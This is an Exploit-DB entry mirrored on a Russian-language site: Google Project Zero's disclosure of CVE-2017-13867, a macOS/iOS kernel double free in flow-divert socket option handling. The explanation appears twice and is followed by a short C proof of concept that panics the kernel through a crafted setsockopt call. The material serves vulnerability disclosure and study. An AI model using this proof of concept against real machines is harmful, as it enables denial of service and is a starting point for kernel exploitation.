- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 43328
- Проверка EDB
-
- Пройдено
- Автор
- GOOGLE SECURITY RESEARCH
- Тип уязвимости
- DOS
- Платформа
- MULTIPLE
- CVE
- cve-2017-13867
- Дата публикации
- 2017-12-12
Apple macOS/iOS - Kernel Double Free due to Incorrect API Usage in Flow Divert Socket Option Handling
C:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1373
SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by
flow_divert_token_set(struct socket *so, struct sockopt *sopt)
in flow_divert.c.
The relevant code is:
error = soopt_getm(sopt, &token);
if (error) {
goto done;
}
error = soopt_mcopyin(sopt, token);
if (error) {
goto done;
}
...
done:
if (token != NULL) {
mbuf_freem(token);
}
soopt_getm allocates an mbuf.
soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code:
error = copyin(sopt->sopt_val, mtod(m, char *),
m->m_len);
if (error != 0) {
m_freem(m0);
return (error);
}
This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin
will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin
returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed.
mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing
back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually
exploit such an issue.
This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect
all double frees and this issue is still exploitable with sufficient grooming/cache manipulation.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/
// ianbeer
#if 0
MacOS/iOS kernel double free due to incorrect API usage in flow divert socket option handling
SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by
flow_divert_token_set(struct socket *so, struct sockopt *sopt)
in flow_divert.c.
The relevant code is:
error = soopt_getm(sopt, &token);
if (error) {
goto done;
}
error = soopt_mcopyin(sopt, token);
if (error) {
goto done;
}
...
done:
if (token != NULL) {
mbuf_freem(token);
}
soopt_getm allocates an mbuf.
soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code:
error = copyin(sopt->sopt_val, mtod(m, char *),
m->m_len);
if (error != 0) {
m_freem(m0);
return (error);
}
This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin
will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin
returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed.
mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing
back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually
exploit such an issue.
This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect
all double frees and this issue is still exploitable with sufficient grooming/cache manipulation.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif
#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
int main() {
int sock = socket(PF_INET, SOCK_DGRAM, 0);
if (socket < 0) {
printf("failed to create socket\n");
return 0;
}
printf("socket: %d\n", sock);
setsockopt(sock, SOL_SOCKET, 0x1106, (void*)424242424242, 100);
return 0;
}
- Источник
- www.exploit-db.com